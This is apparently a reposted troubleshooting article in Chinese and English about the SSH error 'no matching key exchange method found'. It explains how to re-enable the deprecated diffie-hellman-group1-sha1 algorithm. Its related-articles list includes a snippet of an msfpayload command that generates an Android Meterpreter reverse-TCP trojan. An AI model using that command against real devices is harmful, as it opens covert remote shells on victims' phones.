原文链接:https://mycyberuniverse.com/error/no-matching-key-exchange-method-found-openssh7.html

What causes this problem

OpenSSH 7.0 deprecated the diffie-hellman-group1-sha1 key algorithm because it is weak and within theoretical range of the so-called Logjam attack. See the www.openssh.com/legacy.html page for more information.

If the client and server are unable to agree on a mutual set of parameters then the connection will fail. OpenSSH (7.0 and greater) will produce an error message like this:

Unable to negotiate with host: no matching key exchange method found.
Their offer: diffie-hellman-group1-sha1

In this case, the client and server were unable to agree on the key exchange algorithm because the server offered only a single method diffie-hellman-group1-sha1.

How to fix it

The best resolution for these failures is to upgrade/configure the server to not use deprecated algorithms. If that is not possible, you can force the client to re-enable the diffie-hellman-group1-sha1 key exchange algorithm with the -oKexAlgorithms=+diffie-hellman-group1-sha1 option on the command-line:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@host

or in the ~/.ssh/config file:

Host somehost.example.org
KexAlgorithms +diffie-hellman-group1-sha1

注意:这里的两行代码分开写,另外Host后面的网址不要用IP地址代替(如果dns无法解析就在hosts文件中添加即可)

If this article helped you solve the problem then please leave a comment. 

Thanks for reading!

关于no matching key exchange method found. Their offer: diffie-hellman-group1-sha1的解决办法的更多相关文章

  1. git clone 报错Unable to negotiate with xxx.xxx.xxx.xxx port 12345: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1

    在执行git clone命令报错 Unable to negotiate with xxx.xxx.xxx.xxx port 12345: no matching key exchange metho ...

  2. no matching key exchange method found. Their offer: diffie-hellman-group1-sha1

    1. 使用git克隆项目报错 $ git clone ssh://liuchao@192.168.7.32:29418/platform/Midou Cloning into 'Midou'... U ...

  3. Git 常见问题: unable to negotiate with *.*.*.*: no matching key exchange methodfound...

    在Windows上更新了git 版本后,clone/pull时出现错误, unable to negotiate with *.*.*.*: no matching key exchange meth ...

  4. github添加公钥出现 github ssh key Key is invalid. Ensure you've copied the file correctly的解决办法

    因为在公钥查看的时候可能是利用了vim明明查看,所以会有换行,导致这个错误,解决方法是用cat命令查看文件,或者其他方式查看,总之公钥不能有换行.

  5. TortoiseGit无法勾选Load Putty Key,该选项为灰色的解决办法

    1.软件版本 Git版本:Git-1.9.0-preview20140217.exe TortoiseGit:TortoiseGit-1.8.8.0-64bit.msi     2.出现问题 使用右键 ...

  6. Navicat 用ssh通道连接时总是报错 (报错信息:SSH:expected key exchange group packet form serve

    转:https://blog.csdn.net/qq_27463323/article/details/76830731 之前下了一个Navicat 11.0 版本 用ssh通道连接时总是报错 (报错 ...

  7. 连接远程数据库时出现 SSH: expected key exchange group packet from server / 2003 - Can't connect to MySQL server on 'XXX' (10038) / 1130 - Host 'XXX' is not allowed to connect to this MySQL server

    昨天在自己的远程服务器上玩,把系统重装了.新装了MySQL,在本地用navicat连接的时候出了几个小问题. 问题一:SSH: expected key exchange group packet f ...

  8. 数据库连接出错 expected key exchange group packet form server

    数据库连接出错 expected key exchange group packet form server SSH: expected key exchange group packet form ...

  9. Diffie–Hellman key exchange

    General overview[edit]   Illustration of the idea behind Diffie–Hellman key exchange Diffie–Hellman ...

随机推荐

  1. Unity shader学习之阴影,衰减统一处理

    使用unity AutoLight.cginc文件里的内置函数 UNITY_LIGHT_ATTENUATION shader如下: // Upgrade NOTE: replaced 'mul(UNI ...

  2. kali linux android木马(内网+外网)

    1,内网木马 先生成一个小马 msfpayload -p android/meterpreter/reverse_tcp LHOST=192.168.8.104 LPORT=5555 R > a ...

  3. JS中常用的输出方式(五种)

    1.alert("要输出的内容"); ->在浏览器中弹出一个对话框,然后把要输出的内容展示出来 ->alert都是把要输出的内容首先转换为字符串然后在输出的 2.doc ...

  4. 键值对Dictionary、KeyValuePair、Hashtable 简单使用。

    KeyValuePair是单个的键值对对象.KeyValuePair可用于接收combox选定的值. 例如:KeyValuePair<string, object> par = (KeyV ...

  5. GCD (RMQ + 二分)

    RMQ存的是区间GCD,然后遍历 i: 1->n, 然后不断地对[i, R]区间进行二分求以i为起点的相同gcd的区间范围,慢慢缩减区间. #include<bits/stdc++.h&g ...

  6. Chess (SG + 状态压缩预处理)

    #include<bits/stdc++.h> #define bit(t) (1 << t) using namespace std; <<; ;//k是集合s的 ...

  7. 排序(I)

    NSSortDescriptor 排序 Person类 #import <Foundation/Foundation.h> @interface Person : NSObject @pr ...

  8. KKT条件原理

    问题引入 max f(x, y) s.t. g(x,y) <= 0 几何解释 a.  g(x ,y) <= 0为上图中z = 0平面中的圆,圆的边表示g(x, y) = 0,圆的内部表示g ...

  9. 20165305 苏振龙《Java程序设计》第八周学习总结

    第十二章 •如果想在main()以外独立设计流程,可以撰写类操作java.lang.Runnable接口,流程的进入点是操作在run()方法中. •如果想要加装主线程,就要创建 Thread 实例,要 ...

  10. linux查看系统状态的命令

    vmstat查看机器实时的综合情况:load,内存,swap,cpu使用率等方面 procs: r:运行队列中进程数量 b:等待IO的进程数量 memory(内存): swpd:使用虚拟内存大小 fr ...